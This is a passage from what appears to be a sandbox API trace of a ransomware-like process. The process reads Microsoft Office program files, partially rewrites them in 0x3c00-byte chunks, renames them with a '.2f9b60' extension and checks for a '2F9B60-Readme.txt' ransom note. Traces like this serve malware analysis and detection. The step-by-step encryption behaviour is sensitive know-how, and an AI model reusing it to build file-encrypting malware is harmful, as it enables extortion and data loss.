(HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20260c50 [0201.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0201.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0201.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260aa0) returned 1 [0201.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0201.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0201.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce5bc50 [0201.983] sprintf (in: _Dest=0x1ce5bc50, _Format="%c%c" | out: _Dest="e1") returned 2 [0201.983] sprintf (in: _Dest=0x1ce5bc52, _Format="%c%c" | out: _Dest="02") returned 2 [0201.983] sprintf (in: _Dest=0x1ce5bc54, _Format="%c%c" | out: _Dest="42") returned 2 [0201.983] sprintf (in: _Dest=0x1ce5bc56, _Format="%c%c" | out: _Dest="f1") returned 2 [0201.983] sprintf (in: _Dest=0x1ce5bc58, _Format="%c%c" | out: _Dest="78") returned 2 [0201.983] sprintf (in: _Dest=0x1ce5bc5a, _Format="%c%c" | out: _Dest="f0") returned 2 [0201.983] sprintf (in: _Dest=0x1ce5bc5c, _Format="%c%c" | out: _Dest="49") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc5e, _Format="%c%c" | out: _Dest="df") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc60, _Format="%c%c" | out: _Dest="ff") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc62, _Format="%c%c" | out: _Dest="65") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc64, _Format="%c%c" | out: _Dest="0c") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc66, _Format="%c%c" | out: _Dest="eb") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc68, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc6a, _Format="%c%c" | out: _Dest="af") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc6c, _Format="%c%c" | out: _Dest="49") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc6e, _Format="%c%c" | out: _Dest="e5") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc70, _Format="%c%c" | out: _Dest="c2") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc72, _Format="%c%c" | out: _Dest="95") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc74, _Format="%c%c" | out: _Dest="09") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc76, _Format="%c%c" | out: _Dest="10") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc78, _Format="%c%c" | out: _Dest="54") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc7a, _Format="%c%c" | out: _Dest="65") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc7c, _Format="%c%c" | out: _Dest="25") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc7e, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc80, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc82, _Format="%c%c" | out: _Dest="39") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc84, _Format="%c%c" | out: _Dest="e5") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc86, _Format="%c%c" | out: _Dest="94") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc88, _Format="%c%c" | out: _Dest="01") returned 2 [0201.984] sprintf (in: _Dest=0x1ce5bc8a, _Format="%c%c" | out: _Dest="21") returned 2 [0201.984] RtlInitAnsiString (in: DestinationString=0x346afd08, SourceString="e10242f178f049dfff650cebcfaf49e5c2950910546525d8cd39e5940121" | out: DestinationString="e10242f178f049dfff650cebcfaf49e5c2950910546525d8cd39e5940121") [0201.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x346afcd8, SourceString="e10242f178f049dfff650cebcfaf49e5c2950910546525d8cd39e5940121", AllocateDestinationString=1 | out: DestinationString="e10242f178f049dfff650cebcfaf49e5c2950910546525d8cd39e5940121") returned 0x0 [0201.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x43108100 [0201.985] wcscat (in: _Dest=0x43197a80, _Source="e10242f178f049d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\e10242f178f049d") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\e10242f178f049d" [0201.985] wcscat (in: _Dest=0x43197a80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\e10242f178f049d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\e10242f178f049d.2f9b60" [0201.985] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\e10242f178f049d.2f9b60", NtPathName=0x346afcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\e10242f178f049d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4314c5e0 [0224.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314c5e0) returned 1 [0224.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320f3b0) returned 1 [0224.125] NtQueryInformationFile (in: FileHandle=0xa80, IoStatusBlock=0x346afd18, FileInformation=0x346afd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x346afd18, FileInformation=0x346afd28) returned 0x0 [0224.125] NtSetInformationFile (FileHandle=0xa80, IoStatusBlock=0x346afd18, FileInformation=0x346afd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43197a80) returned 1 [0225.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43108100) returned 1 [0225.378] FlushFileBuffers (hFile=0xa80) returned 1 [0225.553] CloseHandle (hObject=0xa80) returned 1 [0226.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20505690 [0226.009] wcscpy (in: _Dest=0x20505690, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0226.009] wcscat (in: _Dest=0x20505690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" [0226.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\2f9b60-readme.txt")) returned 0x20 [0226.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505690) returned 1 [0226.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a54f0) returned 1 Thread: id = 1096 os_tid = 0x17c8 [0112.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda")) returned 0x20 [0112.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", dwFileAttributes=0x20) returned 1 [0112.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d0 [0112.067] GetFileSizeEx (in: hFile=0x15d0, lpFileSize=0x3474fdc0 | out: lpFileSize=0x3474fdc0*=782336) returned 1 [0112.067] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0xbeffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.067] ReadFile (in: hFile=0x15d0, lpBuffer=0x3474fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3474fd88, lpOverlapped=0x0 | out: lpBuffer=0x3474fd40*, lpNumberOfBytesRead=0x3474fd88*=0x4, lpOverlapped=0x0) returned 1 [0112.069] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0112.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0112.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0112.069] NtQuerySystemTime (in: CurrentTime=0x3474fc80 | out: CurrentTime=0x3474fc80*=132462177175222000) returned 0x0 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x1f6993ef [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x7db3ea48 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x7c9620 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x6d19c90b [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x16c16c2f [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x103db27b [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x5df30a94 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x419f3ec7 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x7d212527 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x71f946e6 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x1b16a306 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x3567e6b7 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x1f0f94e9 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x421bdb70 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x4b67a06 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x4aae8c1 [0112.069] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x391fa512 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0xe467101 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x60524f93 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x6d55365a [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x7df6aa6 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x264a20f5 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x69c3aef5 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x3ca5a4a8 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x639addd7 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x24a8d40e [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x37318e3a [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x54be8eb2 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x48a657d8 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x4cccefb1 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x724a8016 [0112.070] RtlRandomEx (in: Seed=0x3474fc70 | out: Seed=0x3474fc70) returned 0x1ac6cc86 [0112.078] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.078] ReadFile (in: hFile=0x15d0, lpBuffer=0x41e2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3474fce0, lpOverlapped=0x0 | out: lpBuffer=0x41e2a520*, lpNumberOfBytesRead=0x3474fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.079] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0112.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0112.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0112.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634d0) returned 1 [0112.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e2e130 [0112.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0112.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0112.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f70) returned 1 [0112.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0112.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0112.080] WriteFile (in: hFile=0x15d0, lpBuffer=0x41e2e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3474fce0, lpOverlapped=0x0 | out: lpBuffer=0x41e2e130*, lpNumberOfBytesWritten=0x3474fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e2e130) returned 1 [0130.043] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.043] ReadFile (in: hFile=0x15d0, lpBuffer=0x41e2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3474fce0, lpOverlapped=0x0 | out: lpBuffer=0x41e2a520*, lpNumberOfBytesRead=0x3474fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.046] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0130.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a60 [0130.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a60) returned 1 [0130.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e2e130 [0130.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a60 [0130.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a90 [0130.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a90) returned 1 [0130.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0130.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.048] WriteFile (hFile=0x15d0, lpBuffer=0x41e2e130, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3474fce0, lpOverlapped=0x0) [0171.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e2e130) returned 1 [0171.030] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0xbb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.030] ReadFile (in: hFile=0x15d0, lpBuffer=0x41e2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3474fce0, lpOverlapped=0x0 | out: lpBuffer=0x41e2a520*, lpNumberOfBytesRead=0x3474fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.200] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0xbb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d1c0 [0171.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d1c0) returned 1 [0171.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41db5950 [0171.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d1c0 [0171.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d1f0 [0171.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d1f0) returned 1 [0171.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.203] WriteFile (in: hFile=0x15d0, lpBuffer=0x41db5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3474fce0, lpOverlapped=0x0 | out: lpBuffer=0x41db5950*, lpNumberOfBytesWritten=0x3474fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41db5950) returned 1 [0194.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf670 [0194.666] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.666] WriteFile (in: hFile=0x15d0, lpBuffer=0x134c00*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x3474fd90, lpOverlapped=0x0 | out: lpBuffer=0x134c00*, lpNumberOfBytesWritten=0x3474fd90*=0x14c, lpOverlapped=0x0) returned 1 [0201.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0201.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0201.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae30 [0201.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae30) returned 1 [0201.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202aae30 [0201.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab90 [0201.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae00 [0201.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae00) returned 1 [0201.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0201.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0201.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7a9e20 [0201.976] sprintf (in: _Dest=0x1b7a9e20, _Format="%c%c" | out: _Dest="13") returned 2 [0201.976] sprintf (in: _Dest=0x1b7a9e22, _Format="%c%c" | out: _Dest="27") returned 2 [0201.976] sprintf (in: _Dest=0x1b7a9e24, _Format="%c%c" | out: _Dest="9b") returned 2 [0201.976] sprintf (in: _Dest=0x1b7a9e26, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.976] sprintf (in: _Dest=0x1b7a9e28, _Format="%c%c" | out: _Dest="b0") returned 2 [0201.976] sprintf (in: _Dest=0x1b7a9e2a, _Format="%c%c" | out: _Dest="97") returned 2 [0201.976] sprintf (in: _Dest=0x1b7a9e2c, _Format="%c%c" | out: _Dest="1c") returned 2 [0201.976] sprintf (in: _Dest=0x1b7a9e2e, _Format="%c%c" | out: _Dest="9d") returned 2 [0201.976] sprintf (in: _Dest=0x1b7a9e30, _Format="%c%c" | out: _Dest="71") returned 2 [0201.976] sprintf (in: _Dest=0x1b7a9e32, _Format="%c%c" | out: _Dest="2b") returned 2 [0201.976] sprintf (in: _Dest=0x1b7a9e34, _Format="%c%c" | out: _Dest="7a") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e36, _Format="%c%c" | out: _Dest="36") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e38, _Format="%c%c" | out: _Dest="33") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e3a, _Format="%c%c" | out: _Dest="1c") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e3c, _Format="%c%c" | out: _Dest="d6") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e3e, _Format="%c%c" | out: _Dest="67") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e40, _Format="%c%c" | out: _Dest="bc") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e42, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e44, _Format="%c%c" | out: _Dest="af") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e46, _Format="%c%c" | out: _Dest="70") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e48, _Format="%c%c" | out: _Dest="d5") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e4a, _Format="%c%c" | out: _Dest="7b") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e4c, _Format="%c%c" | out: _Dest="05") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e4e, _Format="%c%c" | out: _Dest="22") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e50, _Format="%c%c" | out: _Dest="52") returned 2 [0201.977] sprintf (in: _Dest=0x1b7a9e52, _Format="%c%c" | out: _Dest="77") returned 2 [0201.977] RtlInitAnsiString (in: DestinationString=0x3474fe08, SourceString="13279b8ab0971c9d712b7a36331cd667bc3baf70d57b05225277" | out: DestinationString="13279b8ab0971c9d712b7a36331cd667bc3baf70d57b05225277") [0201.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x3474fdd8, SourceString="13279b8ab0971c9d712b7a36331cd667bc3baf70d57b05225277", AllocateDestinationString=1 | out: DestinationString="13279b8ab0971c9d712b7a36331cd667bc3baf70d57b05225277") returned 0x0 [0201.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42061b30 [0201.978] wcscat (in: _Dest=0x431979e0, _Source="13279b8ab0971" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\13279b8ab0971") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\13279b8ab0971" [0201.978] wcscat (in: _Dest=0x431979e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\13279b8ab0971.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\13279b8ab0971.2f9b60" [0201.978] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\13279b8ab0971.2f9b60", NtPathName=0x3474fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\13279b8ab0971.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4314c520 [0224.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314c520) returned 1 [0224.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320f180) returned 1 [0224.126] NtQueryInformationFile (in: FileHandle=0x15d0, IoStatusBlock=0x3474fe18, FileInformation=0x3474fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3474fe18, FileInformation=0x3474fe28) returned 0x0 [0224.126] NtSetInformationFile (FileHandle=0x15d0, IoStatusBlock=0x3474fe18, FileInformation=0x3474fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431979e0) returned 1 [0225.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0225.375] FlushFileBuffers (hFile=0x15d0) returned 1 [0225.552] CloseHandle (hObject=0x15d0) returned 1 [0226.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506130 [0226.007] wcscpy (in: _Dest=0x20506130, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0226.007] wcscat (in: _Dest=0x20506130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" [0226.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\2f9b60-readme.txt")) returned 0x20 [0226.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506130) returned 1 [0226.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5580) returned 1 Thread: id = 1097 os_tid = 0x17cc [0112.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0112.082] wcscpy (in: _Dest=0x1b869f40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0112.082] wcscat (in: _Dest=0x1b869f40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0112.082] wcscat (in: _Dest=0x1b869f40, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*" [0112.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f580 [0112.082] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, 